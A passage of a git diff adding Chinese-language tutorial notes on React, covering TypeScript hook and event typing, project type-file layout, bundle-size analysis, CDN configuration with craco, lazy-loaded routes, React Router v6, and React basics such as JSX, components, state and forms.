+ initialState: ReducerState, +): [ReducerState, Dispatch>]; +``` + +R 被填充为了一整个函数类型,而 `ReducerState` 实际上就是提取了 reducer 中代表 state 的参数,即状态的类型,在这里即是 `{ count: number }` 这么一个结构。 + +需要注意的是,在 reducer 中其实也应用了我们此前提到过的**可辨识联合类型概念**,这里的 `action.type` 即为可辨识属性,通过 type 判断,我们就能在每一个 case 语句中获得联合类型对应分支的类型。 + +### useRef 与 [useImperativeHandle](https://zh-hans.reactjs.org/docs/hooks-reference.html#useimperativehandle) + +useRef 的常见使用场景主要包括两种,存储一个 DOM 元素引用和持久化保存一个值。这两者情况对应的类型其实也是不同的: + +```tsx +const Container = () => { + const domRef = useRef(null); + const valueRef = useRef(599); + + const operateRef = () => { + domRef.current?.getBoundingClientRect(); + valueRef.current += 1; + }; + + return ( +
    +

    林总

    +
    + ); +}; +``` + +对于 domRef,此时其类型(current)会被推断为 `RefObject`,而 valueRef 的值类型则为 `MutableRefObject`,这是完全符合预期的。因为我们并不会去修改挂载了 DOM 引用的 ref,而确实会修改值引用的 ref ,所以后者会是 Mutable 的。 + +从 useRef 的类型定义可以看出,对于初始值为 null 的 useRef,其类型均会被推导为 RefObject + +```ts +function useRef(initialValue: T): MutableRefObject; +function useRef(initialValue: T | null): RefObject; +function useRef(): MutableRefObject; +``` + +useImperativeHandle 并非常用的 hook,常与[`React.forwardRef`](https://zh-hans.reactjs.org/docs/react-api.html#reactforwardref) 共同使用 + +## 内置类型定义 + +### **MouseEvent、ChangeEvent** + +除了上面介绍的泛型坑位以外,在 React 中想要用好 TypeScript 的另一个关键因素就是使用 `@types/react` 提供的类型定义,最常见的就是事件类型,比如输入框值变化时的 ChangeEvent 和鼠标事件通用的 MouseEvent: + +```ts +import { useState } from 'react'; +import type { ChangeEvent, MouseEvent } from 'react'; + +const Container = () => { + const [v, setV] = useState('linbudu'); + + const handleChange = (event: ChangeEvent) => {}; + + const handleClick = (event: MouseEvent) => {}; + + return ( + <> + + + + ); +}; +``` + +ChangeEvent 和 MouseEvent 上还具有一个泛型坑位,用于指定发生此事件的元素类型,我们可以在这里进一步传入 **HTMLButtonElement** 这样更精确的元素类型获得更严格的类型检查。 + +### **ChangeEventHandler** + +除了使用 ChangeEvent 作为参数类型,React 还提供了整个函数的类型签名,如 ChangeEventHandler: + +```typescript +const handleChange: ChangeEventHandler = (e) => {}; +``` + +由于上下文类型的存在,此时就无需再为 e 声明类型了,它会自动被推导为 `ChangeEvent` 。 + +类似的事件定义还有非常多,如 FormEvent、TouchEvent、DragEvent 等,但无需对所有定义都了解,在实际用到时再去导入即可。需要注意的是,由于 InputEvent [并非在所有浏览器都得到了支持](https://link.juejin.cn/?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FAPI%2FInputEvent),因此并不存在对应的类型定义,你可以使用 KeyboardEvent 来代替。 + +### **CSSProperties** + +CSS样式属性 + +```tsx +import type { CSSProperties } from 'react'; + +export interface IContainerProps { + style: CSSProperties; +} + +const css: CSSProperties = { + display: 'flex', + alignContent: 'center', + justifyContent: 'center', +}; + +const Container = ({ style }: IContainerProps) => { + return

    林总!

    ; +}; +``` + +#### ComponentProps + +基于原生 HTML 元素去封装组件时,通常会需要将这个原生元素的所有 HTML 属性都保留下来作为组件的属性,可以使用 ComponentProps 来提取出一个元素上所有的属性,避免一个个重复声明: + +```typescript +import type { ComponentProps } from 'react'; + +interface IButtonProps extends ComponentProps<'button'> { + size?: 'small' | 'large'; + link?: boolean; +} +const Button = (props: IButtonProps) => { + return ; +}; +``` + +除了对原生 DOM 元素使用以外,这一用法在使用组件库时也有奇效,比如组件库只导出了这个组件而没有导出这个组件的属性类型定义,而我们又需要基于这个组件进行定制封装,此时就可以使用 ComponentProps 去提取它的属性类型: + +```typescript +import { Button } from "ui-lib"; +import type { ComponentProps } from 'react'; + +interface IButtonProps extends ComponentProps; +}; +``` + +> 由于 React 中 ref 的存在,有些时候我们会希望区分组件使用 ref 和没使用 ref 的情况,此时可以使用内置类型 ComponentPropsWithRef 或 ComponentPropsWithoutRef ,其使用方式与 ComponentProps 一致。 + +#### ReactElement 与 ReactNode + +ReactElement 是 createElement、cloneElement 等 factory 方法的返回值类型,它本质上指的是一个有效的 JSX 元素,即 `JSX.Element`。而 ReactNode 可以认为包含了 ReactElement ,它还包含 null、undefined 以及 ReactFragment 等一些特殊的部分,其类型定义如下: + +```ts +type ReactText = string | number; +type ReactChild = ReactElement | ReactText; +type ReactNode = ReactChild | ReactFragment | ReactPortal | boolean | null | undefined; +``` + +## 项目中的类型声明文件划分 + +在实际应用中使用 TypeScript 进行开发时,我们往往需要大量的类型代码,而如何存放这些类型代码,其实就需要预先有一个明确的规范。目前我使用的方式是,在项目中使用一个专门的文件夹存放类型代码,其中又按照这些类型的作用进行了划分,其分布大致是这样的: + +```text +PROJECT +├── src +│ ├── types +│ │ ├── shared.ts +│ │ ├── [biz].ts +│ │ ├── request.ts +│ │ ├── tool.ts +│ ├── typings.d.ts +└── tsconfig.json +``` + +我们来依次讲解下这些类型声明文件的作用: + +- `shared.ts`,被其他类型定义所使用的类型,如简单的联合类型封装、简单的结构工具类型等。 + +- `[biz].ts`,与业务逻辑对应的类型定义,比如 `user.ts` `module.ts` 等,推荐的方式是在中大型项目中尽可能按照业务模型来进行细粒度的拆分。 + +- `request.ts`,请求相关的类型定义,推荐的方式是定义响应结构体,然后使用 biz 中的业务逻辑类型定义进行填充: + + ```typescript + import type { Status } from "./shared"; + + export interface IRequestStruct { + status: Status; + code: number; + data: TData; + } + + export interface IPaginationRequestStruct { + status: Status; + curPage: number; + totalCount: number; + hasNextPage: boolean; + data: TData[]; + } + ``` + + 实际使用时: + + ```typescript + import type { IPaginationRequestStruct } from "@/types/request"; + import type { IUserProfile } from "@/types/user"; + + export function fetchUserList: Promise> {} + ``` + + 通过这种方式,你的类型代定义之间就能够建立起清晰的、和业务逻辑一致的引用关系。 + +- `tool.ts`,工具类型定义,一般是推荐把比较通用的工具类型抽离到专门的工具类型库中,这里只存放使用场景特殊的部分。 + +- `typings.d.ts`,全局的类型声明,包括非代码文件的导入、无类型 npm 包的类型声明、全局变量的类型定义等等,你也可以进一步拆分为 `env.d.ts` `runtime.d.ts` `module.d.ts` 等数个各司其职的声明文件。 + +在实际场景中,这一规范的粒度并不一定能够满足你的需要,但你仍然可以按照这一思路进行类型定义的梳理和妥善放置。另外,我们并不需要将所有的类型定义都专门放到这个文件夹里,比如仅被组件自身消费的类型就应该使用就近原则,直接和组件代码一起即可。 + +## 组件与组件类型 + +在 React 父子组件中一个常见的场景是,父组件导入各个子组件,传递属性时会进行额外的数据处理,其结果的类型被这多个子组件共享,而这个类型又仅被父子组件消费,不应当放在全局的类型定义中,而将这个类型定义在父组件中,子组件使用仅类型导入去导入这个类型。 + +```tsx +// Parent.tsx + +import { ChildA } from "./ChildA"; +import { ChildB } from "./ChildB"; +import { ChildC } from "./ChildC"; + +// 被多个子组件消费的类型 +export interface ISpecialDataStruct {} + +const Parent = () => { + const data: ISpecialDataStruct = {}; + + return ( + <> + + + + + ) +} + +// ChildA.tsx +import type { ISpecialDataStruct } from "./parent"; + +interface IAProp { + inputA: ISpecialDataStruct; +} + +export const ChildA: FC = (props) => { + // ... +} +``` + diff --git "a/src/React/React \351\241\271\347\233\256\344\274\230\345\214\226.md" "b/src/React/React \351\241\271\347\233\256\344\274\230\345\214\226.md" new file mode 100644 index 00000000..df71a243 --- /dev/null +++ "b/src/React/React \351\241\271\347\233\256\344\274\230\345\214\226.md" @@ -0,0 +1,170 @@ +--- +date: 2022-05-12 +category: +- React +--- +# React 项目优化 + +## 打包体积分析 + +`本节目标:` 能够分析项目打包体积 + +**分析说明**通过分析打包体积,才能知道项目中的哪部分内容体积过大,才能知道如何来优化 + +**使用步骤** + +1. 安装分析打包体积的包:`yarn add source-map-explorer` +2. 在 package.json 中的 scripts 标签中,添加分析打包体积的命令 +3. 对项目打包:`yarn build`(如果已经打过包,可省略这一步) +4. 运行分析命令:`yarn analyze` +5. 通过浏览器打开的页面,分析图表中的包体积 + +**核心代码**: + +package.json 中: + +```json +"scripts": { + "analyze": "source-map-explorer 'build/static/js/*.js'", +} +``` + + + +## 优化-配置CDN + +`本节目标:` 能够对第三方包使用CDN优化 + +**分析说明**:通过 craco 来修改 webpack 配置,从而实现 CDN 优化 + +**核心代码** + +`craco.config.js` + +```js +const path = require('path') +const { whenProd, getPlugin, pluginByName } = require('@craco/craco') +module.exports = { + // webpack 配置 + webpack: { + // 配置CDN + configure: (webpackConfig) => { + let cdn = { + js: [], + css: [] + } + // 只有生产环境才配置 + whenProd(() => { + webpackConfig.externals = { + react: 'React', + 'react-dom': 'ReactDOM' + } + cdn = { + js: [ + 'https://cdn.bootcdn.net/ajax/libs/react/17.0.2/umd/react.production.min.js', + 'https://cdn.bootcdn.net/ajax/libs/react-dom/17.0.2/umd/react-dom.production.min.js', + ], + css: [] + } + }) + const { isFound, match } = getPlugin( + webpackConfig, + pluginByName('HtmlWebpackPlugin') + ) + if (isFound) { + // 找到了HtmlWebpackPlugin的插件 + match.userOptions.cdn = cdn + } + return webpackConfig + } + } +} +``` + +`public/index.html ` + +```html + +
    + + <% htmlWebpackPlugin.userOptions.cdn.js.forEach(cdnURL => { %> + + <% }) %> + +``` + + + +## 优化-路由懒加载 + +`本节目标:` 能够对路由进行懒加载实现代码分隔 + +**使用步骤** + +1. 在 App 组件中,导入 Suspense 组件 +2. 在 路由Router 内部,使用 Suspense 组件包裹组件内容 +3. 为 Suspense 组件提供 fallback 属性,指定 loading 占位内容 +4. 导入 lazy 函数,并修改为懒加载方式导入路由组件 + +**代码实现** + +`App.js` + +```jsx +import { Routes, Route } from 'react-router-dom' +import { HistoryRouter, history } from './utils/history' +import { AuthRoute } from './components/AuthRoute' + +// 导入必要组件 +import { lazy, Suspense } from 'react' +// 按需导入路由组件 +const Login = lazy(() => import('./pages/Login')) +const Layout = lazy(() => import('./pages/Layout')) +const Home = lazy(() => import('./pages/Home')) +const Article = lazy(() => import('./pages/Article')) +const Publish = lazy(() => import('./pages/Publish')) + +function App () { + return ( + + + loading... + + } + > + + {/* 需要鉴权的路由 */} + + + + }> + {/* 二级路由默认页面 */} + } /> + } /> + } /> + + {/* 不需要鉴权的路由 */} + } /> + + + + ) +} + +export default App +``` + + + +**查看效果** + +我们可以在打包之后,通过切换路由,监控network面板资源的请求情况,验证是否分隔成功 + diff --git "a/src/React/ReactRouter V6 \350\247\243\346\236\220.md" "b/src/React/ReactRouter V6 \350\247\243\346\236\220.md" new file mode 100644 index 00000000..d5682692 --- /dev/null +++ "b/src/React/ReactRouter V6 \350\247\243\346\236\220.md" @@ -0,0 +1,124 @@ +--- +date: 2022-05-12 +category: +- React +--- +# ReactRouter V6 解析 + +## 基础使用 + +基于项目模板安装react-router-dom + +` yarn add react-router-dom@6` + +## 核心组件 + +### BrowerRouter + +**作用:**包裹整个应用,一个 React 应用只需要使用一次 + +**两种常用 Router** **:** HashRouter 和 BrowserRouter + +**HashRouter** + +使用 URL 的哈希值实现(http://localhost:3000/#/first) + +**BrowserRouter** **(** **推荐** **)** + +使用 H5 的 history.pushState API 实现(http://localhost:3000/first) + +### Link + +**作用** **:**用于指定导航链接,完成路由跳转 + +**语法说明:** 组件通过to属性指定路由地址,最终会渲染为a链接元素 + +```jsx + +``` + +### Routes + +**作用** **:**提供一个路由出口,满足条件的路由组件会渲染到组件内部,定义path和组件的对应关系。用于指定导航链接,完成路由匹配 + +**语法说明:** path属性指定匹配的路径地址,element属性指定要渲染的组件。 + +```jsx +}/> +``` + +**说明:**当url路径为 ‘/about’ 时,会渲染` `组件 + +## 编程式导航 + +### 跳转 + +**作用** **:**通过js编程的方式进行路由页面跳转,比如从登录页跳转到关于页 + +**语法说明:** + +1. 导入useNavigate钩子函数 + + +2. 执行钩子函数得到跳转函数 + + +3. 执行跳转函数完成跳转 + +![image-20220501164235089](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164235089.png) + + **注意**:如果在跳转时不想加历史记录,可以添加额外参数replace为true + +### 跳转携带参数 + +**场景** **:**有些时候不光需要跳转路由还需要传递参数 + +**俩种方式:** + +1. searchParams传参 + + 传参: + + ![image-20220501163904592](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501163904592.png) + + 取参: + + ![image-20220501163925464](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501163925464.png) + +2. params传参(path配合:/:id) + + 传参: + + ![image-20220501163948813](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501163948813.png) + + 取参: + + ![image-20220501164004751](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164004751.png) + +## 嵌套路由 + +### 代码实现 + +1. App.js: 定义嵌套路由声明 + + ![image-20220501164359039](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164359039.png) + +2. Layout.js: 使用 ``指定二级路由出口 + + ![image-20220501164447292](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164447292.png) + +### 默认二级路由 + +**场景:** 应用首次渲染完毕就需要显示的二级路由 + +**怎么做:** 1. 给默认路由标记index 2. 修改跳转路径path + +![image-20220501164516536](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164516536.png) + +## 404页配置 + +**场景:**当所有的路径都没有匹配的时候显示 + +**语法说明:** 在各级路由的最后添加 * 号路由 作为兜底 + +![image-20220501164630342](https://my-doc-1259409954.file.myqcloud.com/MyImages/image-20220501164630342.png) diff --git "a/src/React/React\345\237\272\347\241\200.md" "b/src/React/React\345\237\272\347\241\200.md" new file mode 100644 index 00000000..e09b311d --- /dev/null +++ "b/src/React/React\345\237\272\347\241\200.md" @@ -0,0 +1,2074 @@ +--- +date: 2022-05-02 +category: +- React +--- + +# React基础 + +## React介绍 + +`目标任务:` 了解什么是React以及它的特点 + +**React是什么** + +​ 一个专注于构建用户界面的 JavaScript 库,和vue和angular并称前端三大框架,不夸张的说,react引领了很多新思想,世界范围内是最流行的js前端框架,最近发布了18版本,加入了很多新特性 + +​ React英文文档(https://reactjs.org/) + +​ React中文文档 (https://zh-hans.reactjs.org/) + +​ React新文档 (https://beta.reactjs.org/)(开发中....) + +**React有什么特点** + +1. 声明式UI(JSX) + + 写UI就和写普通的HTML一样,抛弃命令式的繁琐实现 + + ![](https://my-doc-1259409954.file.myqcloud.com/MyImages/compare.png) + +2. 组件化 + + 组件是react中最重要的内容,组件可以通过搭积木的方式拼成一个完整的页面,通过组件的抽象可以增加复用能力和提高可维护性 + + + +3. 一次学习,矿平台编写 + + react既可以开发web应用也可以使用同样的语法开发原生应用(react-native),比如安卓和ios应用,甚至可以使用react开发VR应用,想象力空间十足,react更像是一个 `元框架` 为各种领域赋能 + + + +## 环境初始化 + +`目标任务:` 能够独立使用React脚手架创建一个react项目 + +### 1. 使用脚手架创建项目 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/create-react.png) + +- 打开命令行窗口 + +- 执行命令 + + ```bash + npx create-react-app react-basic + ``` + + 说明: + + 1. npx create-react-app 是固定命令,`create-react-app`是React脚手架的名称 + 2. react-basic表示项目名称,可以自定义,保持语义化 + 3. npx 命令会帮助我们临时安装create-react-app包,然后初始化项目完成之后会自自动删掉,所以不需要全局安装create-react-app + +- 启动项目 + + ```bash + yarn start + or + npm start + ``` + +### 2. 项目目录说明调整 + +- 目录说明 + + 1. `src` 目录是我们写代码进行项目开发的目录 + + 2. `package.json` 中俩个核心库:react 、react-dom + +- 目录调整 + + 1. 删除src目录下自带的所有文件,只保留app.js根组件和index.js + 2. 创建index.js文件作为项目的入口文件,在这个文件中书写react代码即可 + +- 入口文件说明 + + ```jsx + import React from 'react' + import ReactDOM from 'react-dom' + import './index.css' + // 引入根组件App + import App from './App' + // 通过调用ReactDOM的render方法渲染App根组件到id为root的dom节点上 + ReactDOM.render( + + + , + document.getElementById('root') + ) + ``` + +## JSX基础 + +### 1. JSX介绍 + +`目标任务:` 能够理解什么是JSX,JSX的底层是什么 + +概念:JSX是 JavaScript XML(HTML)的缩写,表示在 JS 代码中书写 HTML 结构 + +作用:在React中创建HTML结构(页面UI结构) + +优势: + +1. 采用类似于HTML的语法,降低学习成本,会HTML就会JSX +2. 充分利用JS自身的可编程能力创建HTML结构 + +注意:JSX 并不是标准的 JS 语法,是 JS 的语法扩展,浏览器默认是不识别的,脚手架中内置的 [@babel/plugin-transform-react-jsx](@babel/plugin-transform-react-jsx) 包,用来解析该语法 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/jsx02.png) + + + + + +### 2. JSX中使用js表达式 + +`目标任务:` 能够在JSX中使用表达式 + +**语法** + +`{ JS 表达式 }` + +```jsx +const name = '柴柴' + +

    你好,我叫{name}

    //

    你好,我叫柴柴

    +``` + +**可以使用的表达式** + +1. 字符串、数值、布尔值、null、undefined、object( [] / {} ) +2. 1 + 2、'abc'.split('')、['a', 'b'].join('-') +3. fn() + +**特别注意** + +​ if 语句/ switch-case 语句/ 变量声明语句,这些叫做语句,不是表达式,不能出现在 `{}` 中!! + +### 3. JSX列表渲染 + +`目标任务:` 能够在JSX中实现列表渲染 + +> 页面的构建离不开重复的列表结构,比如歌曲列表,商品列表等,我们知道vue中用的是v-for,react这边如何实现呢? + +实现:使用数组的`map` 方法 + +案例: + +```jsx +// 来个列表 +const songs = [ + { id: 1, name: '痴心绝对' }, + { id: 2, name: '像我这样的人' }, + { id: 3, name: '南山南' } +] + +function App() { + return ( +
    +
      + { + songs.map(item =>
    • {item.name}
    • ) + } +
    +
    + ) +} + +export default App +``` + +注意点:需要为遍历项添加 `key` 属性 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/jsx03.png) + +1. key 在 HTML 结构中是看不到的,是 React 内部用来进行性能优化时使用 +2. key 在当前列表中要唯一的字符串或者数值(String/Number) +3. 如果列表中有像 id 这种的唯一值,就用 id 来作为 key 值 +4. 如果列表中没有像 id 这种的唯一值,就可以使用 index(下标)来作为 key 值 + +### 4. JSX条件渲染 + +`目标任务:` 能够在JSX中实现条件渲染 + +作用:根据是否满足条件生成HTML结构,比如Loading效果 + +实现:可以使用 `三元运算符` 或 `逻辑与(&&)运算符` + +案例: + +```jsx +// 来个布尔值 +const flag = true +function App() { + return ( +
    + {/* 条件渲染字符串 */} + {flag ? 'react真有趣' : 'vue真有趣'} + {/* 条件渲染标签/组件 */} + {flag ? this is span : null} +
    + ) +} +export default App +``` + + + +### 5. JSX样式处理 + +`目标任务:` 能够在JSX中实现css样式处理 + +- 行内样式 - style + + ```jsx + function App() { + return ( +
    +
    this is a div
    +
    + ) + } + + export default App + ``` + +- 行内样式 - style - 更优写法 + + ```jsx + const styleObj = { + color:red + } + + function App() { + return ( +
    +
    this is a div
    +
    + ) + } + + export default App + ``` + + + +- 类名 - className(推荐) + + `app.css` + + ```css + .title { + font-size: 30px; + color: blue; + } + ``` + + `app.js` + + ```jsx + import './app.css' + + function App() { + return ( +
    +
    this is a div
    +
    + ) + } + export default App + ``` + +- 类名 - className - 动态类名控制 + + ```jsx + import './app.css' + const showTitle = true + function App() { + return ( +
    +
    this is a div
    +
    + ) + } + export default App + ``` + +### 6. JSX注意事项 + +`目标任务:` 掌握JSX在实际应用时的注意事项 + +1. JSX必须有一个根节点,如果没有根节点,可以使用`<>`(幽灵节点)替代 +2. 所有标签必须形成闭合,成对闭合或者自闭合都可以 +3. JSX中的语法更加贴近JS语法,属性名采用驼峰命名法 `class -> className` `for -> htmlFor` +4. JSX支持多行(换行),如果需要换行,需使用`()` 包裹,防止bug出现 + +## 格式化配置 + +`目标任务:` 基于vscode配置格式化工具,提高开发效率 + +1. 安装vsCode prettier插件 + +2. 修改配置文件 `setting.json` + + ```json + { + "git.enableSmartCommit": true, + // 修改注释颜色 + "editor.tokenColorCustomizations": { + "comments": { + "fontStyle": "bold", + "foreground": "#82e0aa" + } + }, + // 配置文件类型识别 + "files.associations": { + "*.js": "javascript", + "*.json": "jsonc", + "*.cjson": "jsonc", + "*.wxss": "css", + "*.wxs": "javascript" + }, + "extensions.ignoreRecommendations": false, + "files.exclude": { + "**/.DS_Store": true, + "**/.git": true, + "**/.hg": true, + "**/.svn": true, + "**/CVS": true, + "**/node_modules": false, + "**/tmp": true + }, + // "javascript.implicitProjectConfig.experimentalDecorators": true, + "explorer.confirmDragAndDrop": false, + "typescript.updateImportsOnFileMove.enabled": "prompt", + "git.confirmSync": false, + "editor.tabSize": 2, + "editor.fontWeight": "500", + "[json]": {}, + "editor.tabCompletion": "on", + "vsicons.projectDetection.autoReload": true, + "editor.fontFamily": "Monaco, 'Courier New', monospace, Meslo LG M for Powerline", + "[html]": { + "editor.defaultFormatter": "vscode.html-language-features" + }, + "editor.fontSize": 16, + "debug.console.fontSize": 14, + "vsicons.dontShowNewVersionMessage": true, + "editor.minimap.enabled": true, + "emmet.extensionsPath": [ + "" + ], + // vue eslint start 保存时自动格式化代码 + "editor.formatOnSave": true, + // eslint配置项,保存时自动修复错误 + "editor.codeActionsOnSave": { + "source.fixAll": true + }, + "vetur.ignoreProjectWarning": true, + // 让vetur使用vs自带的js格式化工具 + // uni-app和vue 项目使用 + "vetur.format.defaultFormatter.js": "vscode-typescript", + "javascript.format.semicolons": "remove", + // // 指定 *.vue 文件的格式化工具为vetur + "[vue]": { + "editor.defaultFormatter": "octref.vetur" + }, + // // 指定 *.js 文件的格式化工具为vscode自带 + "[javascript]": { + "editor.defaultFormatter": "vscode.typescript-language-features" + }, + // // 默认使用prettier格式化支持的文件 + "editor.defaultFormatter": "esbenp.prettier-vscode", + "prettier.jsxBracketSameLine": true, + // 函数前面加个空格 + "javascript.format.insertSpaceBeforeFunctionParenthesis": true, + "prettier.singleQuote": true, + "prettier.semi": false, + // eslint end + // react + // 当按tab键的时候,会自动提示 + "emmet.triggerExpansionOnTab": true, + "emmet.showAbbreviationSuggestions": true, + "emmet.includeLanguages": { + // jsx的提示 + "javascript": "javascriptreact", + "vue-html": "html", + "vue": "html", + "wxml": "html" + }, + // end + "[jsonc]": { + "editor.defaultFormatter": "vscode.json-language-features" + }, + // @路径提示 + "path-intellisense.mappings": { + "@": "${workspaceRoot}/src" + }, + "security.workspace.trust.untrustedFiles": "open", + "git.ignoreMissingGitWarning": true, + "window.zoomLevel": 1 + } + ``` + + + +## 阶段小练习 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/jsx-demo.png) + +练习说明 + +1. 拉取准备好的项目模块到本地 ,安装依赖,run起来项目 + + https://gitee.com/react-course-series/react-jsx-demo + +2. 按照图示,完成 `评论数据渲染` `tab内容渲染` `评论列表点赞和点踩` 三个视图渲染 + + + +# React组件基础 + +## 组件概念 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/components.png) + +## 函数组件 + +`目标任务:` 能够独立使用函数完成react组件的创建和渲染 + +**概念** + +> 使用 JS 的函数(或箭头函数)创建的组件,就叫做`函数组件` + +**组件定义与渲染** + +```jsx +// 定义函数组件 +function HelloFn () { + return
    这是我的第一个函数组件!
    +} + +// 定义类组件 +function App () { + return ( +
    + {/* 渲染函数组件 */} + + +
    + ) +} +export default App +``` + +**约定说明** + +1. 组件的名称**必须首字母大写**,react内部会根据这个来判断是组件还是普通的HTML标签 +2. 函数组件**必须有返回值**,表示该组件的 UI 结构;如果不需要渲染任何内容,则返回 null + +3. 组件就像 HTML 标签一样可以被渲染到页面中。组件表示的是一段结构内容,对于函数组件来说,渲染的内容是函数的**返回值**就是对应的内容 +4. 使用函数名称作为组件标签名称,可以成对出现也可以自闭合 + +## 类组件 + +`目标任务:` 能够独立完成类组件的创建和渲染 + +> 使用 ES6 的 class 创建的组件,叫做类(class)组件 + +**组件定义与渲染** + +```jsx +// 引入React +import React from 'react' + +// 定义类组件 +class HelloC extends React.Component { + render () { + return
    这是我的第一个类组件!
    + } +} + +function App () { + return ( +
    + {/* 渲染类组件 */} + + +
    + ) +} +export default App +``` + +**约定说明** + +1. **类名称也必须以大写字母开头** + +2. 类组件应该继承 React.Component 父类,从而使用父类中提供的方法或属性 + +3. 类组件必须提供 render 方法**render 方法必须有返回值,表示该组件的 UI 结构** + + +## 事件绑定 + +`目标任务:` 能够独立绑定任何事件并能获取到事件对象e + +### 1. 如何绑定事件 + +- 语法 + + on + 事件名称 = { 事件处理程序 } ,比如:`
    {}}>
    ` + +- 注意点 + + react事件采用驼峰命名法,比如:onMouseEnter、onFocus + +- 样例 + + ```jsx + // 函数组件 + function HelloFn () { + // 定义事件回调函数 + const clickHandler = () => { + console.log('事件被触发了') + } + return ( + // 绑定事件 + + ) + } + + // 类组件 + class HelloC extends React.Component { + // 定义事件回调函数 + clickHandler = () => { + console.log('事件被触发了') + } + render () { + return ( + // 绑定事件 + + ) + } + } + ``` + +### 2. 获取事件对象 + +- 通过事件处理程序的参数获取事件对象e + + ```jsx + // 函数组件 + function HelloFn () { + // 定义事件回调函数 + const clickHandler = (e) => { + e.preventDefault() + console.log('事件被触发了', e) + } + return ( + // 绑定事件 +
    百度 + ) + } + ``` + + +## 组件状态 + +`目标任务:` 能够为组件添加状态和修改状态的值 + +> 一个前提:在react hook出来之前,函数式组件是没有自己的状态的,所以我们统一通过类组件来讲解 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/state-update.png) + +### 1. 初始化状态 + +- 通过class的实例属性state来初始化 + +- state的值是一个对象结构,表示一个组件可以有多个数据状态 + + ```jsx + class Counter extends React.Component { + // 初始化状态 + state = { + count: 0 + } + render() { + return + } + } + ``` + +### 2. 读取状态 + +- 通过this.state来获取状态 + + ```jsx + class Counter extends React.Component { + // 初始化状态 + state = { + count: 0 + } + render() { + // 读取状态 + return + } + } + ``` + +### 3. 修改状态 + +- 语法 + + `this.setState({ 要修改的部分数据 })` + +- setState方法作用 + + 1. 修改state中的数据状态 + 2. 更新UI + +- 思想 + + ​ 数据驱动视图,也就是只要修改数据状态,那么页面就会自动刷新,无需手动操作dom + +- 注意事项 + + ​ **不要直接修改state中的值,必须通过setState方法进行修改** + + +```jsx +class Counter extends React.Component { + // 定义数据 + state = { + count: 0 + } + // 定义修改数据的方法 + setCount = () => { + this.setState({ + count: this.state.count + 1 + }) + } + // 使用数据 并绑定事件 + render () { + return + } +} +``` + +## this问题说明 + +![](https://my-doc-1259409954.file.myqcloud.com/MyImages/this.png) + +这里我们作为了解内容,随着js标准的发展,主流的写法已经变成了class fields,无需考虑太多this问题 + +## React的状态不可变 + +`目标任务:` 能够理解不可变的意义并且知道在实际开发中如何修改状态 + +**概念**:不要直接修改状态的值,而是基于当前状态创建新的状态值 + +**1. 错误的直接修改** + +```js +state = { + count : 0, + list: [1,2,3], + person: { + name:'jack', + age:18 + } +} +// 直接修改简单类型Number +this.state.count++ +++this.state.count +this.state.count += 1 +this.state.count = 1 + +// 直接修改数组 +this.state.list.push(123) +this.state.list.spice(1,1) + +// 直接修改对象 +this.state.person.name = 'rose' +``` + +**2. 基于当前状态创建新值** + +```js +this.setState({ + count: this.state.count + 1 + list: [...this.state.list, 4], + person: { + ...this.state.person, + // 覆盖原来的属性 就可以达到修改对象中属性的目的 + name: 'rose' + } +}) +``` + +## 表单处理 + +`目标任务:` 能够使用受控组件的方式获取文本框的值 + +使用React处理表单元素,一般有俩种方式: + +1. 受控组件 (推荐使用) + +2. 非受控组件 (了解) + +### 1. 受控表单组件 + +> 什么是受控组件? `input框自己的状态被React组件状态控制` +> +> React组件的状态的地方是在state中,input表单元素也有自己的状态是在value中,React将state与表单元素的值(value)绑定到一起,由state的值来控制表单元素的值,从而保证单一数据源特性 + +**实现步骤** + +以获取文本框的值为例,受控组件的使用步骤如下: + +1. 在组件的state中声明一个组件的状态数据 +2. 将状态数据设置为input标签元素的value属性的值 +3. 为input添加change事件,在事件处理程序中,通过事件对象e获取到当前文本框的值(`即用户当前输入的值`) + +4. 调用setState方法,将文本框的值作为state状态的最新值 + +**代码落地** + +```jsx +import React from 'react' + +class InputComponent extends React.Component { + // 声明组件状态 + state = { + message: 'this is message', + } + // 声明事件回调函数 + changeHandler = (e) => { + this.setState({ message: e.target.value }) + } + render () { + return ( +
    + {/* 绑定value 绑定事件*/} + +
    + ) + } +} + + +function App () { + return ( +
    + +
    + ) +} +export default App +``` + +### 2. 非受控表单组件 + +> 什么是非受控组件? +> +> 非受控组件就是通过手动操作dom的方式获取文本框的值,文本框的状态不受react组件的state中的状态控制,直接通过原生dom获取输入框的值 + +**实现步骤** + +1. 导入`createRef` 函数 +2. 调用createRef函数,创建一个ref对象,存储到名为`msgRef`的实例属性中 +3. 为input添加ref属性,值为`msgRef` +4. 在按钮的事件处理程序中,通过`msgRef.current`即可拿到input对应的dom元素,而其中`msgRef.current.value`拿到的就是文本框的值 + +**代码落地** + +```jsx +import React, { createRef } from 'react' + +class InputComponent extends React.Component { + // 使用createRef产生一个存放dom的对象容器 + msgRef = createRef() + + changeHandler = () => { + console.log(this.msgRef.current.value) + } + + render() { + return ( +
    + {/* ref绑定 获取真实dom */} + + +
    + ) + } +} + +function App () { + return ( +
    + +
